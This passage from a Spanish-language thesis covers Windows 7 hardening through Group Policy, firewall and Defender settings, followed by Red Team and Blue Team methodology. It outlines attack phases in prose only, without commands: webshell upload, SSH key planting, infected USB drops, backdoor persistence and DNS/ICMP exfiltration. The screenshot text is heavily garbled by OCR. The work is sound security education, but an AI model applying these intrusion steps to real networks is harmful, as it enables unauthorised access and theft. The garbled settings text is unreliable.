instalar programas p Quita el botén Agregar nueves programas de |a barra de Agregar
asignados por un ad o quitar programas. En consecuencia, los usuarios no pueden ver
del sistema. ni cambiar la pagina adjunta.
q = o - El botén Agregar nueves programas permite a los usuarios
'\ Btendido /, Estdnd instalar programas publicados o asignades por un administrador
1417 valores del sistema.

Fuente: Autor.

e Ocultar la pagina Agregar nuevos programas Habilitada:

Imagen 37, configuracién pégina agregar nuevos programas.
%WianSEZOZOfXM [Corriendo] - Oracle VM VirtualBox — O >

Archivo Maguina Ver Entrada Dispositivos Ayuda
[ Editor de directivas de grupo local =& =]

Archivo  Accién  Ver Ayuda

=] EXN 7 Mol 4
[=[ Directiva Equipo local " Todos los valores
4 & Configuracidn del equipo -
— Configuracién de software Ocultar la pagina Agregar nuevos Configuracién : Estado 2
» | Configurscion de Windows || programas ]| Ocultar la pagina Agregar nuevos programas No configurada
;| Plantillas administrativas
a % Configuracién de usuario Editar confiquracién | # Ocultar la pagina Agregar nuevos programas
» | Configuracién de software . N el
> | Configuracién de Windows Ssﬁuul‘jsnsiitamasnpé E cultar |a pagina Agregar nuevos programas Valor anterior ] l Valor siguiente ]
4 [ Plantillas administrativas Windows Server 2003
°| Carpetas compartidas APy Windows2000 | &) No configurads  COMmentarie: 1
» [] Componentes de Windows, )
» (] Escritorio Descripcion: @ Habilitada
: L Quita el batdn Agreg|
- :E”“‘é”“'“);h?"a detarel | ogramas de la barr] () Deshabilitada |
» [ Panel de cantro g . .
. ™ Red O duitar prngralmas. Compatible con:  go1q los sistemas operativos Windows Server 2003, Windows XP y Windows 4
1 R consecuencia, los usi 2000
> [ Sistema pueden ver ni cambi E
{2 Todos los valores adjunta.
Opciones: Ayuda:
El botn Agregar nud
programas permite a
instalar programas p Quita el botén Agregar nuevos programas de |a barra de Agregar
asignados por un ad o quitar programas. En consecuencis, los usuarios no pueden ver
del sistema. ni cambiar la pagina adjunta.
5 El botén Agregar nuevos programas permite a los usuarios
d n £ \&tand\do;(Estand instalar programas publicados o asignados por un administrador
1417 valores del sistema.

Fuente: Autor.
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e Prohibir el acceso a Panel de control Habilitada:

Imagen 38, configuracion acceso a panel de control.

Editor de directives de grupe local [= (= =]

Archive  Accion  Ver

@

|1 Directiva Equipe local " Tedos los valores
4 & Configuracién del equipo b
» [ Configuracién de software Prohibir el acceso al Panel de control | Configuracion Estade  *
» [ Configuracion de Windows ] Prohibir el acceso al Panel de control No configurada
> || Plantillas administrativas Editar configura.
4 % Configuracién de usuario A Prohibir el acceso al Panel de control
. 7] Configuracién de software iqums\:nv i’
N . . menaos Win
7| Configuracién de Windows E‘ Prohibir el acceso al Panel de control Valoranterior ] [ e ]
4 [ Plantillas administrativas Descripion:
~ Carpetas compartidas Deshabilitatodo| ) no configurads ~ Comentario: N
. [7] Componentes de Windows|| del Panel de con|
| Escriterio . @ Habilitada
. ta opcidn im|
Meni Inicio y barra de tare [ = - OP i i
= b { | Control.exe, elal ) Deshabilitada
- e decen programa del P Compatible con: 4| menos Windows 2000 -
> [ Red inicie. En conse
> ] Sistema usuarios Ne pue il
2 Todos los valores Panel de control
- elementos de &5 gpciones: Ayuda:
Ademss, esta op
Panel de control Deshabilita todos los programas del Panel de control. -
Ecta opci6n tam|
carpeta Panel dg Esta opcin impide que Control.exe, €l archivo de programa del
Explorador de Panel de contral, se inicie. En consecuencia, los usuarios no
— — ueden iniciar el Panel de control ni gjecutar los elementos de
‘ i v ' Extendido 4 Est iy i
1417 valores

Fuente: Autor.

e Prohibir el acceso a propiedades de componentes de una conexién de acceso
remoto Habilitada:

Imagen 39, configuracion acceso a propiedades de componentes de una conexion
de acceso remoto.

%WianSEZOZOfXM [Corriendo] - Oracle VM VirtualBox — U X

Archivo  Méaguina Ver Entrada  Dispositivos  Ayuda

[ Editor de directivas de grupo local [= e ][ =
Archivo  Accién  Ver Ayuda
e 1@ =zHEB=T
5[ Directiva Equipo Iocal

4 & Configuracin del equipo

. Todos los valores

» [ Configuracién de software | propipir el acceso a propiedadesde | Configuracion Etado <
| Configuracién de Windows G . ..
el Config ) de Wir componentes de una conexionde |13 pohipir el acceso a propiedades de componentes de una conexién deacceso re..  No configurada
, (7] Plantillas administrativas acceso remot
4 4, Configuracién de usuario A Prohibir el acceso  propiedades de componentes de una conexion de acceso remoto

» (7] Configuracién de software Editar configur]

“| Configuracién de Windows E Prohibir el acceso a propiedades de componentes de una conexién de acceso remote

P Requisitos:
a (] Plantillas administrativas Sol sisternas [ - I [
3 Carpetas compartidas oo sistermes 1 | Veloranterior | | Valorsiguiente
» | Componentes de Windows|| Windows XP y
| Escritorio Service Packl | () Noconfigurada ~ Comentario: z
| Menilnicio y bamadetare, | o iocign, | @ Habilitada
| Panel de control Determinasily| |
7| Red very cambiar | () Deshabilitada
| sistema los componen Compatible con: 5514 sistemas operativos Microsoft Windows Server 2003, Windows XP y e
£ Todos los valores conexién de ag Windows 2000 Service Pack 1
- privada o para -
Esta opcién def  Opciones: Ayuda:

habilitado el b
para los comp
una conexién
privada o para

, Extendido 4 E|

Determina si los usuarios pueden ver y cambiar las propiedades | ~
de los componentes usades por una conexién de acceso remoto
privadla o para todos los usuarios. E

Fuente: Autor.
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e Prohibir la configuraciéon TCP/IP avanzada. Habilitada:

Imagen 40, configuracion TCP/IP avanzada.
QHWMTSEZOZOfXM [Corriendo] - Oracle VM VirtualBox — ] X

Archivo  Maguina Ver Entrada  Dispositivos  Ayuda

[ Editor de directivas de grupe local =& ]=]
Archive  Accion  Ver  Ayuda

e B3N 7 el 4

\=/ Directiva Equipo local A A
4 {5 Configuracién del equipo b
» () Configuracién de software || prohibir la configuracién TCP/IP Configurscién ‘ Estado
» ] Configuracién de Windows | avanzada &2 Prohibir la configuracion TCP/IP avanzada No configurada
, =] Plantillss administrativas
4 i Configuracion de usuario Editar confiqursd & prohibir Ia configuracién TCP/IP avanzada
+ [ Configuracion de software ||
. equisitos: 6 Y
. 1 Configuracén de Windows [ fetieier EE] Prohibir I configuracién TCPAP avanzada
4 [ Plantillss administrativas Microsaft Windo
7| Carpetas compartidas Windows XP y - . Comentaric:
. [ Componentes de Windows| | Service Pack 1 D No configurada
> [ Escritorio R @ Habilitada
“ MeniInicio y barra de tare | D25CPCIoN: i )
panel de control Determina 5ilos| ) Deshabilitada
> (2 Panel de control establecer la con Compatible con:
» [ Red vanzada de 10 P “ Solo sistemas operativos Microsoft Windows Server 2003, Windows XP y -
, & Sistema Windows 2000 Service Pack 1 il
- Todos los valores Si "EF'"‘“HEZ*T o
opcién "Habilital ) Ayuda:
deconexiénder P TS
Opciones avanza Determina si los usuarios pueden establecer 2 configuracién | ~
de didloge Propi avanzada de TCP/IP
Protocolo Intem, =
deshabilitado pa Si habilita esta opcién (y habilita |2 opcién "Habilitar la
. = - = configuracién de conexién de red para administraderes, el
[ *\ Bxtendido Est botén Opciones avanzadas en el cuadro de didlogo Propiedades
1417 valores del Protocolo Internet (TCP/IF) estaré para todos

Fuente: Autor.

e Quitar Agregar o quitar programas Habilitada:

Imagen 41, configuracion agregar o quitar programas.
QﬂWinT—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox — O X

Archivo  Maquina  Ver Entrada  Dispositivos  Ayuda

| Editor de directivas de grupo local

Archive  Accién  Ver Ayuda

LI K
=] Directiva Equipo local - Todos los valores
4 (& Configuracién del equipo -
> [0 Configuracion de software Quitar Agregar o quitar programas | Configuracion - Estado  *
» [ Configuracién de Windows
~ |12 Quitar Agregar o quitar programas No configurada
+ ) Plantilla administrativas Editar config
4§ Configuracién de usuario A Quitar Agregar o quitar programas [
» (] Configuracién de software D;E;qulwswtns:
. olo los sister
a4 [ Plantillas administrativas XP y Window
“| Carpetas compartidas © No configurada  Comentario: T
. [] Companentes de Windows| | Descripeion: |~
. [ Escritorio Impide quelq @) Habilitada
| Ment Inicio y barra de tare| | “97233 29Ul N il
©) Deshabilitada
+ ] Panel de control i -
. Red Ef‘: b Compatible con:  5o1g log sistemas operativos Windows Server 2003, Windows XP y Windows
C e prograr 2000
) ] Sistema también quit !
2 Todos los valores quitar progra
Opciones: Ayuda:
Agregar o qu
permite a los r
desinstalar, ref Impide que los usuarios usen Agregar o quitar programas. -
quitar caracte
componente] Esta opcién quits Agregar o quitar programas del Panel de L
Professional control; también quita Ia op<ién Agregar o quitar programas de
<[ m + |, Bxtendido fos meniis Cl i
1417 valores Aareqsr o quitar proaramas permite a 165 usuarios instalar,

Fuente: Autor.
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e Quitar el menu Archivo del Explorador de Archivos Habilitada:

Imagen 42, configuracion menu Archivo del Explorador de Archivos.

WWMTSEZGZO*XM [Corriendo] - Oracle VM VirtualBox

Archivo Maguina Ver Entrada Dispositivos  Ayuda

=/ Editor de directivas de grupo local

Archive Accién  Ver Ayuda
e aE@ = BT

|=[ Directiva Equipe local

s

- Todos los valores
Configuracién del equipo

| Configuracion desoftware || Quitar el mend Archivo del

Explorador de Windows

Configuracién
_| Configuracién de Windows

_| Plantillas administrativas

Quitar el mend Archive del Explorador de Windows

Estado

Mo configurada

4 71 Plantillas administrativas
| Carpetas compartid.as Descripcitn:| ) yg configurada Comentario:
> [] Componentes de Windows| | Quita el men)
“| Escritorio Explorador df @ Habilitada
| Menii Inicio y barra de tare A -
- Y Estaopciénn  (©) Deshabilitada

» [ Panel de control ;
| usuarios use Compatible con:

4 4% Configuracién de usuario Editar config| & Quitar el mend Archivo del Explorador de Windows
- | Configuracién de software .
. ] Configuracion de Windows Requisitos: E‘ Quitar el mend Archive del Explorador de Windows
Al menos Wil

(5l

=

Valor anterior l [ Valor siguiente l

Al menos Windows 2000

Ayuda:

> ] Red realizar las ta
> [ Sistema mend Archi
2 Todos los valores
g
<1 i v |, Extendido
1417 valores

>

Quita el menu Archivo de Mi PCy del Explorador de Windows,

Esta opcion no impide que los usuarios usen otros métodos para
realizar las tareas disponibles en el menu Archive.

Fuente: Autor.

¢ Quitar el menu Ejecutar del menu Inicio.

Habilitada:

Imagen 43, configuracion menu Ejecutar del menu Inicio.

i Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox - 0 X
Archive Maguina Ver Entrada Dispositives Ayuda
=/ Editor de directivas de grupo local =[]
Archive Accién  Ver Ayuda
|2 3| @l w
|=[ Directiva Equipo local ~. Todos los valores
4 i Configuracién del equipo -
1 Confi 6n de softwi 5 . -
> [l Lonfiguracion de software Quitar el mend Ejecutar del meni Configuracién Estado
= Configuracién de Windows Inicio |i2) Quitar el mend Ejecutar del meny Inicio No configurada
> [ ] Plantillas administrativas
4 4 Configuracién de usuaria Editar config| = Quitar el mend Ejecutar del mend Inicie [= [
. [] Configuraci6n de software i )
. [] Configuracién de Windows Requisitos: E‘ Quitar el mend Ejecutar del mend Inicic Valor anterior ] [ EE l
- Al menos Wil
4 || Plantillas administrativas
~| Carpetas compartidas Descripcion:| ) Mo configurada Comentario: "
» ] Compenentes de Windows| | Le permite q
> ] Escritorio E:‘I”tﬂ"de‘l @ Habilitada
o || Explorer y el —
- gﬂem‘.lémclo v bTrra detars | s, () Deshabilitada
> || Panel de contro i .
Compatible con:  aj menos Windows 2000 -
> [ Red Si habilita es
| Sistema produciran | .
i Todos los valores ’
(1) Se quita & Opcicnes: Ayuda:
del mend Ini
) El coman Le permite quitar el comando Ejecutar del ment Inicio, Internet |
(jecutar) se Explorer y el Administrador de tareas.
Administrad =
Si habilita esta opcidn, se producirdn los siguientes cambios:
i Ll 4 \ Extendido (1) Se quita el comando Ejecutar del mend Inicie. B
1417 valores

Fuente: Autor.
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¢ Sin “Equipos préximos” en Ubicaciones de red. Habilitada

Imagen 44, configuracion “Equipos proximos” en Ubicaciones de red.
wW\'nT—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox — O X

Archiva Maquina Ver Entrada Dispositivos Ayuda

=f Editor de directivas de grupo local | = | & |
Archive Accién  Ver Ayuda
i Al o NEN 7 Wl 4
=[ Directiva Equipo local

4 {8 Configuracion del equipo

. Todos los valores

- Configuracién de software Sin "Equipos préximos” en Configuracién ‘ Estado
1 Configuracion de Windows Ubicaciones de red || Sin "Equipos préximos” en Ubicaciones de red No configurada
“| Plantillas administrativas

4 4% Configuracién de usuario Editar configu & Sin "Equipes préximos” en Ubicaciones de red E=R[EmE

_| Configuracién de software

% Configuracién de Windows E:ICLU‘I;\:O:QE E] Sin "Equipos préximos” en Ubicaciones de red T ] [ Valor siguiente I
4 [ 7] Plantillas administrativas Windows Serd
| Carpetas compartidas i _ Ba
J P P XPy Window: © No configurada Comentario! -
| Componentes de Windows)
~| Escritoric DE?‘”F'('D""_ @ Habilitada
Quita de las i

" Meni Inicio y barra de tare; i
= v red del Explony () Deshabilitada

Panel de control
=l de Ubicacion Compatible con:

| Red del dominio Solo los sistemas operatives Windows Server 2003, Windows XP y Windows -
7| Sistema del usuario. 2000 i
= Todos los valores i habil
- I habilita est
o] 2 Ayuda:
quita de Ubic FERE P
opcién "Equig
iconos que re Quita de lzs listas de recursos de red del Explorador de Windows | »
equipos cerca y de Ubicaciones de red los equipos del dominio o grupe de
también quitg trabajo del usuarie.
explorador C
<= m =) \Extend\an Si ha?lhfi esta opeian, el slustema quita de Ubicaciones de red la -
opcién "Equipos préximas” y los iconos que representan los
1417 valores equipos cercanos. Esta opcién también quita estos iconos del

Fuente: Autor.

Se debe hacer restriccion del acceso al sistema operativo mediante contrasefia a
la BIOS de la PC.
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Adicionalmente, se hace la configuracion del antivirus y del firewall:

Imagen 45, configuracion del firewall.

{71 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox

Archivo Maguina Ver Entrada Dispositivos Ayuda

Buscar en el Panel

®v|ﬂ << Firewall de Windows » Personalizar cenfiguracion - | s ‘

Personalizar la configuracién de cada tipo de red
Puede modificar la configuracién del firewall para cada tipo de ubicacidn de red que use.
;Qué son las ubicaciones de red?
Configuracién de ubicacion de red doméstica o del trabajo (privada)
@ @ Activar Firewall de Windows
[T Bloquear todas las conexiones entrantes, incluidas las de |a lista de programas permitides

Matificarme cuando Firewall de Windows bloquee un nuevo programa

@ (") Desactivar Firewall de Windows (no recomendade)

Configuracién de ubicacidn de red publica

S

@) Activar Firewall de Windows
|| Bloquear todas las conexiones entrantes, incluidas las de la lista de programas permitidos

Matificarme cuande Firewall de Windows blequee un nueve programa

@ () Desactivar Firewall de Windows (no recomendado)

Fuente: Autor.

Se configura el Antivirus Defender:

Imagen 46, configuracion antivirus.
Win?—SE2020—X64 [Corriendo] - Oracle VM VirtualBox — O X

Archivo  Méaquina Ver Entrada Dispositivos  Ayuda
£ Windows Defender

o R

. @y Iicio @ Examinar [+ @8 Historial £F Herramientas

Proteccin contra spyware y software potencialmente no deseado

_(w, Opciones

Examen automatico

Acciones predeterminadas Usar proteccion en tiempo real (recomendado)
Proteccidn en tiempo real Elja los agentes de sequridad que desea ejecutar. Informacién sobre |2 proteccién en tiempo real

Archivos y carpetas excluidos
Tipos de archives excluidos [] Examinar archivos y datos adjuntes descargados
ﬁ‘:”’a_da ’ Examinar los pragramas que se ejecutan en mi equipo

ministrador

Fuente: Autor.

44



Cambiar la configuracion de actualizaciones automaticas:

Imagen 47, configuracion de actualizaciones automaticas.
%Win?—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox

Archivo Maguina Ver Entrada Dispositivos  Ayuda

(=[O )

@T\_)v| £ « Windows Update » Cambiar configuracién - | 3 | | Buscar en el Panel de control pel |

Elija la forma en que Windows puede instalar las actualizaciones

Cuando el equipo estd conectado, Windows puede comprobar automaticamente las actualizaciones e
instalarlas usando esta configuracién. Cuando estén disponibles nuevas actualizaciones, puede instalarlas
antes de apagar el equipo.

:Cémo me puede ayudar la actualizacion automatica?

Actualizaciones importantes

|.@-| ’Instalar actualizaciones automaticamente (recomendado) ']
-

Instalar nuevas actualizaciones: | Todoes los dias v] alas ’03:00 a.m. v]

Actualizaciones recomendadas

[] Ofrecerme actualizaciones recomendadas de la misma forma que recibo las actualizaciones
importantes

Quién puede instalar actualizaciones

Permitir que todos los usuarios instalen actualizaciones en este equipo

MNota: es posible que Windows Update se actualice automaticamente antes de que busque otras
actualizaciones. Lea nuestra declaracién de privacidad en linea.

Fuente: Autor.

e Colocary realizar cambio de contrasefia periédicamente.

e No realizar instalacidon de software sin que sea examinado y autorizado.

e Validar que existan politicas de seguridad de la informacion y que se estén
cumpliendo.
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2.5 METODOLOGIAS RED TEAM / BLUE TEAM
2.5.1 METODOLOGIAS RED TEAM

Como se ha mencionado anteriormente, el equipo Red Team son quienes realizan
pruebas de intrusion, controladas y sin causar ningun tipo de dafio o alteracion a
la seguridad de la red de la empresa, con el fin de encontrar vulnerabilidades y asi
poder ejecutar un robustecimiento de la infraestructura tecnologica basada en los
hallazgos de este equipo. Dentro de la metodologia de ejecucién de Red Team se
puede establecer la que a continuacion se describe.

La diferencia puntual de Red Team frente a las auditorias de vulnerabilidades y
frente a los test de intrusion, es que realiza simulacion de intrusiones reales,
evitando la identificacion de la fuente de las pruebas. Asi mismo, realiza
combinacion de los d&mbitos en donde actla para la creacion de los ataques. Y
también escoge los principales activos de la organizacion, como sus objetivos.

2.5.1.1 Vectores de ataque

Se refiere a todo el proceso o pasos que se ha seguido durante la intrusion a la
red interna a la cual se esta atacando de la entidad u organizacion.

2.5.1.2 Vectores de acceso

Todos las acciones 0 pasos que se han seguido para comprometer un activo que
ha permitido el acceso a la red interna a la cual se esta atacando de la entidad u
organizacion.

2.5.1.3 Fases de ejecuciéon de Red Team.

Lo primero que realiza el Red Team identificar los escenarios de riesgos, en donde
se realiza los ataques mas probables y mas realistas, y que, como caracteristicas,
tenga un menor costo y mayo efectividad, tenga un menor riesgo de ser
detectados, menor complejo tecnoldgico, permanecer con persistencia durante el
tiempo que sea necesario, que permita evaluar la falta de un control de seguridad
o el funcionamiento efectivo de un proceso. Todo esto enmarcado en el
pensamiento del peor escenario posible.
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2.5.1.3.1 Reconocimiento inicial

En esta etapa se busca conocer los dispositivos de la red, mejor aun que los
propietarios del mismo. Se hace necesario conocer a fondo la red, su propdsito,
gue realiza cada dispositivo.

Se debe realizar una identificacion la cual consiste en inventariar y conocer el
objetivo lo maximo posible con el fin de elaborar el mejor plan para el ataque y la
definicibn de los escenarios de las pruebas. Activos tecnoldgicos de la
organizacion, proveedores, empleados, instalaciones fisicas, entre otras.

2.5.1.3.2 Intrusién

En esta fase se realiza la evaluacién de los dispositivos y en general la red de una
organizacion haciendo simulaciones de ataques para encontrar vulnerabilidades
gue a potenciales atacantes permitirian robar informacion o afectar los activos.
Dentro de Los mecanismos o tipos de vectores de accesos tenemos los siguientes:

2.5.1.3.2.1 Tipos de vector de acceso

Como uno de los primeros pasos, se especifica algunos de los tipos de accesos
gue se puede encontrar durante el desarrollo de las actividades del equipo Red
Team.

2.5.1.3.2.2 Activos de internet

Sistemas expuestos en internet, como aplicaciones web, servicios web y que
pertenezca a la organizacion. Se puede realizar los siguientes pasos:

e Identificacion de la red, puerto de entrada, por ejemplo, el puerto 84 y se
realiza subida de archivo websehell.

e Se verifica el servicio SSH, verificando si es interno, no publico.

e Se realiza despliegue authorized keys, para poder conectarse
automaticamente sin necesidad de loguearse.

e Subir herramienta para permite utilizar el equipo como proxy.

e Teniendo las validaciones, la posibilidad de acceder al SSH desde el quipo
internamente, ya se puede realizar un analisis del equipo. Acceso a la red
interna.

2.5.1.3.2.3 Infraestructura Wi-Fi

Tanto a la infraestructura como tal, asi como a los clientes de la misma, realizando
ataque para capturar claves y usuarios para ingresar a la red.
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2.5.1.3.2.4 USB infectado con malware

Se despliega el dispositivo USB con informacion falsa y adicional, con malware,
para que sea ejecutado en alguna maquina de la red de la organizacion.

2.5.1.3.2.5 Spear Phishing

Para extraccion de informacion con el fin de comprometer el sistema interno
mediante malware.

2.5.1.3.2.6 Ingenieria Social
Con el cual se puede acceder a la red de manera fisica.
2.5.1.3.2.7 Otras técnicas alternativas

Llamadas telefonicas (Vishing), ataques sobre los teléfonos corporativos, ataques
a los proveedores.

2.5.1.3.3 Establecer repositorio

Es el lugar, la ubicacion en un sistema comprometido, en el que se almacena las
herramientas utilizadas y toda la informacion recolectada durante la fase de
intrusion.

2.5.1.3.4 Escalar privilegios

En esta etapa se busca obtener privilegios para acceder a nuevos sistemas e
informacion. Adicionalmente, permite la deshabilitacion de protecciones de

seguridad tal como el antivirus.

Esto se realiza a través de las vulnerabilidades del sistema, de errores de
configuracion, de acceso fisico al sistema.

Se plantean dos tipos de escalada de privilegios; una, escalada horizontal, en
donde se cambia entre usuarios con los mismos privilegios. Y dos, escalada
vertical, en donde se obtienen mayores privilegios, como de usuarios
administradores.

2.5.1.3.5 Reconocimiento interno

Esta etapa consiste en la identificacion de activos en donde haya informacion o en
donde se realicen procesos relevantes. Los activos criticos en la arquitectura como
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el directorio activo, el gestor de identidad, los sistemas de archivos, las bases de
datos, estaciones equipos de trabajo, los backups.

En este punto es importante que el equipo se realice algunas preguntas de manera
oportuna para esta identificacion. ¢Hay DHCP?, ¢;Cual es el DNS y la puesta de
enlace?, ¢estd segmentada la red?, son algunas de las preguntas que se deben
generar.

2.5.1.3.6 Movimiento lateral

Esta etapa consiste en la vulneracidn de otros sistemas para obtener un poco mas
de informacidén o mayores privilegios en la red de la entidad.

Se puede realizar a través de una red ejecutando la técnica Man in the Middle
(MITM), reutilizando contrasefias, evidenciando otras vulnerabilidades en otros
sistemas o a errores de configuracion.

2.5.1.3.7 Mantener persistencia

En esta etapa, tratando de pasar lo mas desapercibido posible, se busca garantizar
el acceso a la infraestructura.

Se puede mantener la persistencia realizando instalacion de puertas traseras en
el sistema a través de herramientas como aplicaciones que realizan o permiten el
acceso directo. También, con la creacion de usuarios y contrasefias para el uso
posterior. O creando nuevos servicios.

Se puede decir que, en ataques muy avanzados, puede transcurrir mucho tiempo
sin ser detectados.

2.5.1.3.8 Exfiltracién
Es la etapa durante la que se extrae la informacion del perimetro de la entidad.

Esta se realiza a través de canales encubiertos, denominados covert channels.
Se utiliza proxy HTTP/HTTPS, correo electrénico o tanel DNS/ICMP
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2.5.2 METODOLOGIA BLUE TEAM

El equipo Blue Team es un equipo multidisciplinario de expertos en seguridad
informatica, el cual es el encargado de defender y proteger a las organizaciones
de ataques realizados por ciberdelincuentes. De igual forma, realiza de manera
proactiva y periddica, analisis de las politicas y de las medidas de seguridad
adoptadas por la entidad para garantizar que las diferentes amenazas y
potenciales riesgos estén siendo identificados, revisados y consecuentemente,
mitigados.

2.5.2.1 Actividades de ejecucidn de Blue Team

El desarrollo de actividades del Blue Team puede estar enmarcado en la
identificacion de fallas en los procesos, en la infraestructura tecnologica y los
potenciales amenazas y ataques. Asi mismo, en la evaluacion de los riegos de la
entidad y en el establecimiento del nivel de aseguramiento actual. Y una vez
identificado y evaluado, realizar una implementacién trazando un plan en
concordancia con las necesidades especificas de la entidad.

2.5.2.2 Respuesta a incidentes

Se puede definir como “La respuesta a incidentes es un enfoque organizado para
abordar y gestionar las secuelas de una brecha de seguridad o ciberataque,
también conocido como incidente de TI, incidente informatico o incidente de
seguridad. El objetivo es manejar la situacion de una manera que limite los dafios
y reduzca el tiempo y los costos de recuperacion”?®

Para dar respuesta efectiva, se ejecuta una serie de pasos: preparaciéon de
herramientas y recursos para el manejo exitoso de los incidentes, deteccion y
analisis de los incidentes, erradicacion y recuperacion de contencion,
retroalimentacion.

2.5.2.3 Busqueda actica de las amenazas

Se debe realizar una busqueda activa de las amenazas de la arquitectura
tecnoldgica de la entidad, realizando implementacion de soluciones como EDR
(Endpoint Detection and Response) y creando y realizando monitoreo a través de
IOCs.

“es vital llevar a cabo un analisis avanzado de todos los eventos de seguridad para
reunir los patrones e informacion en lo que se denomina Indicador de Compromiso

20 ENTRENAMIENTO DE BLUE TEAMING 2020, https://www.chiheb-chebbi.com/incident-
response-and-security-operations-fundamentals/
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(I0C), que actia como descripcion del incidente para que las compafias
desgranen la naturaleza del dafio que han sufrido y reaccionen ante él.”%!

Estas piezas de informacion acerca de una amenaza permiten su utilizacion para
detectar intrusion al sistema, tales como hash MD5, URL, direcciones IP, entre
otros.

Estos funcionan a modo de base de datos de virus y anomalias las cuales se
pueden compartir entre organizaciones gracias a organismos como: * Centros de
analisis e intercambio de informacion (ISAC) * Equipos de respuesta a
emergencias informaticas (CERT) * Plataforma de intercambio de informacion de
malware (MISP).?2

2.5.2.4 Anédlisis forense informaético

Recopilacion de técnicas para la identificacion, analisis, y presentacion de pruebas
en procesos legales o disciplinarios. Se realiza una vez detectada y materializada
la amenaza. En el ejercicio practico del analisis forense informatico, se pueden
llevar a cabo diferentes actividades, como: mapeo del entorno de datos, analizar
las vulnerabilidades del sistema, auditar las paginas web de la entidad, realizar un
peritaje informético forense, analizar dispositivos maviles, recuperar informacion
de los dispositivos de la infraestructura tecnoldgica de la entidad.

2.5.2.5 Deteccion temprana de las amenazas

Proactividad de los procesos de aseguramiento de la infraestructura tecnoldgica,
a través de la experiencia, el aprendizaje continuo y del estudio de las técnicas de
ciberseguridad mas recientes, que permitan estar un paso adelante en la deteccion
de las amenazas a la entidad.

2.5.2.6 Bastionado de sistemas

‘El Bastionado de Sistemas (hardening) tiene como objetivo la correcta
implantacion de politicas de seguridad, endurecimiento y delimitacién clara los
privilegios de usuarios, grupos, roles y configuracion de servicios. Active Directory,
LDAP, Fortificacion de contrasefias, Firewall, DMZ"23

21 CANALES SECTORIALES INTEREMPRESAS, ciberseguridad, Uso de Indicadores de
Compromiso (IOC) para mejorar el tiempo de respuesta ante incidentes,
https://www.interempresas.net/Ciberseguridad/Articulos/311338-Uso-de-Indicadores-de-
Compromiso-(IOC)-para-mejorar-el-tiempo-de-respuesta-ante-incidentes.htmi

22 ENTRENAMIENTO DE BLUE TEAMING 2020, https://www.chiheb-chebbi.com/incident-
response-and-security-operations-fundamentals/

28 INCIDE, Instituto Nacional de Ciberseguridad, Bastionado de sistemas y Servidores,
https://www.incibe.es/protege-tu-empresa/catalogo-de-ciberseguridad/listado-
soluciones/bastionado-sistemas-y-servidores
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2.6 ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
RED TEAM & BLUE TEAM

Dentro de los aspectos que aporten al desarrollo de estrategias de Red Team &
Blue Team se pueden establecer los siguientes:

La gestion de mitigacion de los riesgos comienza con el proceso de identificacion,
analisis y respuesta a factores de riesgo en beneficio de los objetivos planificados.
Adicionalmente, implica el control de posibles eventos futuros y toma un caracter
proactivo. La informacion es uno de los activos mas valiosos que poseen las
organizaciones, por lo que se debe desarrollar mecanismos que aseguren una
proteccion adecuada de los mismos. Es ahi donde es de gran importancia que las
empresas realicen las pruebas de penetracion a través de sus equipos Red Team
y Blue Team con sus herramientas y metodologias de pruebas de penetracion,
como procedimientos establecidos regularmente, haciendo la identificacion y
abordando los factores internos y externos que podrian llegar a crear la falta de
certeza de poder cumplir y alcanzar los objetivos trazados.?*

Estos equipos emulan los escenarios de amenazas de ataques cibernéticos. El
equipo Red Team ejecuta procesos de ataques a la seguridad de la organizacion
utilizando las mismas o similares herramientas que usarian los atacantes a la red,
seguridad ofensiva, con el fin de establecer las brechas de seguridad que
potencialmente podrian utilizar en los ataques para afectar la infraestructura de
seguridad de la organizacion. Esta informacion entregada al equipo Blue Team,
permite realizar la defensa de la organizacion de forma controlada. EL equipo Blue
Team defiende a las organizaciones de ataques informaticos de forma proactiva,
anticipandose a los potenciales ataques. Este equipo lidera la mejora continua en
la ciberseguridad, analizando los sistemas y aplicaciones con el fin de hacer la
identificacion de vulnerabilidades y la validacién de las medidas de seguridad
adoptadas. Capacidad real que tiene las organizaciones para proteger sus activos
de informacién, las capacidades de deteccién y respuesta ante las inminentes
amenazas, considerando los aspectos tecnoldgicos y los procesos. La sinergia de
estos dos equipos establece como ejercer la defensa ante cualquier amenaza con
la mayor rapidez con que se pueda reconocer, analizar y responder, minimizando
el dafio y disminuyendo los costos de recuperacion.?®

Sin importar la naturaleza de una organizacion, esta expuesta a una gran cantidad
de riesgos de toda indole, de dafio a la reputacién, desaceleracion econdémica,
creciente competencia, delitos cibernéticos, cambios reglamentarios y legislativos,

24 METODOLOGIAS PARA PRUEBAS DE PENETRACION UTILIZADAS POR LOS EQUIPOS
RED TEAM Y BLUE TEAM, SALAMANCA ALMANZA, Fredy Armando, Trabajo de grado — Informe
técnico para seminarios especializado o créditos de maestria presentado para optar por el titulo de
especialista en seguridad informatica.

25 |bit, pag. 18.
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incapacidad para innovar, interrupcion operativa, entre otros. Es asi como la
seguridad de informacién ha cobrado enorme importancia.

Se plantea a los equipos Red Team y Blue Team, como alternativas para la
proteccion de datos, los cuales realizan un trabajo complementario para la
deteccion de vulnerabilidades y la prevencion de ataques informéaticos.

El crecimiento exponencial del internet y las redes de comunicacion producto del
constante desarrollo de las organizaciones a nivel mundial, se ven reflejados en el
mejoramiento en la productividad, en la gestion del tiempo, en la comunicacion.
Sin embargo, en esa misma dinamica se encuentra los ciberataques. Estos que ya
no se limitan a solo objetivos de los mas altos niveles, afectan a cualquier
comparfiia de utilice o dependa de aplicaciones, dispositivos y de sistemas
interconectados en redes.

Las organizaciones se estan esforzando para comprender como hacerle frente a
los cada vez mas frecuentes ataques cibernéticos. Estos que ya no se limitan a
solo objetivos de los mas altos niveles, afectan a cualquier compafiia que utilice o
dependa de aplicaciones, dispositivos y de sistemas interconectados en redes.
“‘Una cuestién clave que resalta la investigacion es la importancia de la velocidad
a la hora de detectar y responder a las brechas de datos y los ataques dirigidos.
Ademas de que la velocidad de deteccion es uno de los impulsores més fuertes
del costo general, la remediacion rapida es clave para limitar los costos
relacionados con el dafio prolongado relativo a la reputacién como la pérdida de
negocios, las primas de seguro aumentadas y las vergonzosas
indemnizaciones."”?®

Las organizaciones deben contar con las politicas, procedimientos, recursos
